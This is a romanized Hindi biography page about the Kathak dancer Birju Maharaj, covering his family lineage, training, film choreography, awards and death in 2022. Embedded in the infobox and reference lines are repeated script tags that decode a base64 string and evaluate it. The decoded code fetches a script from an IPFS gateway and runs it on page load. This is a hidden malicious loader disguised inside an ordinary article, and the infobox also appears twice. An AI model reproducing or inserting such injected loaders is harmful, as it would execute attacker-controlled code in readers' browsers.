बिरजू महाराज

	birajoo maharaj
	birajoo maharaj\|200px\|center
poora nam	brijamohan nath mishra
janm	4 faravari, 1938
janm bhoomi	lakhanoo, uttar pradesh
mrityu	17 janavari, 2022
mrityu sthan	dilli
abhibhavak	achchhan maharaj
karm bhoomi	bharat
karm-kshetr	shastriy sangit aur naty
puraskar-upadhi	'padm vibhooshan' (1986), 'sangit natak akadami puraskar', 'kalidas samman'
prasiddhi	shastriy nartak
vishesh yogadan	apane katthak shaili mean nrity rachana ko jo dakar use adhunik bana diya hai aur nrity natikaoan ko bhi prachalit kiya hai.
nagarikata	bharatiy
any janakari	birajoo maharaj ki 'bharatiy shastriy sangit' par bhi achchhi pak d hai. thumari, dadara, bhajan aur gajal gayaki mean unaka koee javab nahian hai.
bahari k diyaan	adhikarik vebasait
adyatan‎	13:02, 17 janavari 2022 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

janm tatha shiksha

birajoo maharaj ka janm 4 faravari, 1938 ko lakhanoo, uttar pradesh ke 'kalaka bindadin gharane' mean hua tha. pahale unaka nam 'dukhaharan' rakha gaya tha, jo bad mean badal kar 'brijamohan nath mishra' hua.^[1] inake pita ka nam jagannath maharaj tha, jo 'lakhanoo kharane' se the aur achchhan maharaj ke nam se jane jate the. achchhan maharaj ki god mean mahaj tin sal ki umr mean hi birajoo ki pratibha dikhane lagi thi. isi ko dekhate hue pita ne bachapan se hi apane yashasvi putr ko kala diksha deni shuroo kar di. kiantu inake pita ki shighr hi mrityu ho jane ke bad unake chachaoan, suprasiddh acharyoan shanbhoo aur lachchhoo maharaj ne unhean prashikshit kiya. kala ke sahare hi birajoo maharaj ko lakshmi milati rahi. unake sir se pita ka saya us samay utha, jab vah mahaj nau sal ke the.

virasat

bhagavan shrikrishna se ju da katthak nrity birajoo maharaj ko virasat mean mila. unake poorvaj eeshvari prasad mishr ilahabad ke handiya tahasil ke rahane vale the aur unhean katthak ke pahale jnat shikshak ke roop mean jana jata hai. isi khanadan ke thakur prasad navab vajid alishah ke katthak guru the. katthak nrity ke mamale mean aj ke samay mean birajoo maharaj ka koee sani nahian hai. pita achchhan maharaj ke sath mahaj sat sal ki umr mean hi vah desh ke vibhinn hissoan mean jakar apani prastuti dene lage the, lekin unaki pahali ekal prastuti rahi bangal mean ayojit 'manmathanath gupt samaroh' mean, jahaan unhoanne 'shastriy nrity' ke diggajoan ke samaksh apani nrity kala ka pradarshan kiya tha. tabhi unaki pratibha ki jhalak logoan ko mil gee thi aur isake bad unhoanne kabhi pichhe mu dakar nahian dekha.

prashikshan kary

unhoanne nrity ke paranparik vishayoan mean jahaan bold aur bauddhik rachanaoan ka samavesh kiya vahian unaki samasamayik karyoan mean bhi tajagi koot kootakar bhari hai. pita ke dehaant ke bad hi birajoo maharaj ki guru bahan d aau. kapila vatsyayan unhean apane sath dilli le aee thian. unhoanne tairah sal ki umr mean hi dilli ke 'sangit bharati' mean nrity ka prashikshan dena shuroo kar diya. unhoanne 'bharatiy kala keandr' tatha 'sangit natak akadami' se sanbaddh katthak keandr mean bhi nrity ka prashikshan diya.^[1]

pratham prastuti

matr 16 varsh ki umr mean hi birajoo maharaj ne apani pratham prastuti di aur 28 varsh ki umr mean katthak mean unaki nipunata ne unhean 'sangit natak akadami' ka pratishthit puraskar dilavaya. shastriy nrity mean birajoo maharaj fyoojan se bhi nahian ghabarae. unhoanne luee baiank ke sath romiyo aur juliyat ki katha ko katthak shaili mean prastut kiya.

hindi filmoan se nata

thumb|left|birajoo maharaj
Birju Maharaj birajoo maharaj ka balivud se bhi gahara nata raha hai. unhoanne kee hindi filmoan ke gitoan ka nrity nirdeshan kiya. inamean prakhyat filmakar satyajit ray ki shastriy kriti 'shataranj ke khila di' bhi shamil hai. is film mean unhoanne do shastriy nrity drishyoan ke liye sangit racha aur gayan bhi kiya. prasiddh film nirmata-nirdeshak yash chop da ki 'dil to pagal hai', 'gadar ek prem katha' tatha sanjay lila bhansali ki film 'devadas' ka nam bhi inamean pramukhata se liya ja sakata hai.

nrity shaili

apani parishuddh tal aur bhavapoorn abhinay ke liye prasiddh birajoo maharaj ne ek aisi shaili vikasit ki hai, jo unake donoan chachaoan aur pita se sanbandhit tatvoan ko sammishrit karati hai. vah padachalan ki sookshmata aur mukh v gardan ke chalan ko apane pita se aur vishisht chaloan (chal) aur chal ke pravah ko apane chachaoan se prapt karane ka dava karate haian.

navin prayog

birajoo maharaj ne radha-krishna anushrut prasangoan ke varnan ke sath vibhinn apauranik aur samajik vishayoan par svany ko abhivyakt karane ke liye nrity ki shaili mean nootan prayog kiye haian. unhoanne katthak shaili mean nrity rachana, jo pahale bharatiy nrity shaili mean ek anajana tattv tha, ko jo dakar use adhunik bana diya hai aur nrity natikaoan ko prachalit kiya hai.

shastriy gayak v vadak

keval nrity ke kshetr mean hi birajoo maharaj siddhahast nahian haian, balki 'bharatiy shastriy sangit' par bhi unaki gahari pak d hai. thumari, dadara, bhajan aur gajal gayaki mean unaka koee javab nahian hai. ve kee vady yantr bhi bakhoobi bajate haian. tabale par unaki bahut achchhi pak d hai. isake atirikt vah sitar, sarod aur sarangi bhi achchha prakar se baja sakate haian. khas bat yah hai ki unhoanne in vady yantroan ko bajane ki vidhivat shiksha nahian li hai. ek sanvedanashil kavi aur chitrakar ke roop mean bhi unhean jana jata hai.^[1]

puraskar v samman

birajoo maharaj ne apani nrity pratibha ke bal par kee puraskar v samman bhi prapt kie haian. unhean bharat ke doosare sarvochch nagarik samman 'padm vibhooshan' se varsh 1986 mean sammanit kiya gaya tha. 'kalidas samman' se bhi ve navaje ja chuke haian. unhean 'banaras hindoo vishvavidyalay' aur 'khairagadh vishvavidyalay' se d aauktaret ki manad upadhi bhi mil chuki hai. gat kee varshoan mean unhoanne vyapak roop se bhraman kiya hai aur kee prastutiyaan v pradarshan vyakhyan die haian.

mrityu

kathak samrat pandit birajoo maharaj ka nidhan 17 janavari, 2022 ko hua. ve 83 sal ke the. hart ataik ke bad der rat unhoanne dilli mean akhiri saans li. lakhanoo gharane se talluk rakhane vale birajoo maharaj ke pote svaraansh mishra ne soshal midiya par post ke jarie unake dehaant ki janakari di thi. unaki poti ka kahana tha ki- vah (birajoo maharaj) agale mahine 84 sal ke ho jate. unhoanne bataya tha ki maharaj-ji [[parivar] aur shishyoan se ghire hue the aur ve rat ke khane ke bad aantakshari khel rahe the ki achanak unaki tabiyat kharab ho gee. ve gurde ki bimari se pi dit the aur unaka dayalisis upachar chal raha tha. sanbhavat: kardiyak arest se unaki mrityu ho gee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 birajoo maharaj (hindi). . abhigaman tithi: 30 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[ab-1] 1.0 ^1.1 ^1.2 ^1.3 birajoo maharaj (hindi). . abhigaman tithi: 30 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

birajoo maharaj
birajoo maharaj\|200px\|center
poora nam	brijamohan nath mishra
janm	4 faravari, 1938
janm bhoomi	lakhanoo, uttar pradesh
mrityu	17 janavari, 2022
mrityu sthan	dilli
abhibhavak	achchhan maharaj
karm bhoomi	bharat
karm-kshetr	shastriy sangit aur naty
puraskar-upadhi	'padm vibhooshan' (1986), 'sangit natak akadami puraskar', 'kalidas samman'
prasiddhi	shastriy nartak
vishesh yogadan	apane katthak shaili mean nrity rachana ko jo dakar use adhunik bana diya hai aur nrity natikaoan ko bhi prachalit kiya hai.
nagarikata	bharatiy
any janakari	birajoo maharaj ki 'bharatiy shastriy sangit' par bhi achchhi pak d hai. thumari, dadara, bhajan aur gajal gayaki mean unaka koee javab nahian hai.
bahari k diyaan	adhikarik vebasait
adyatan‎	13:02, 17 janavari 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>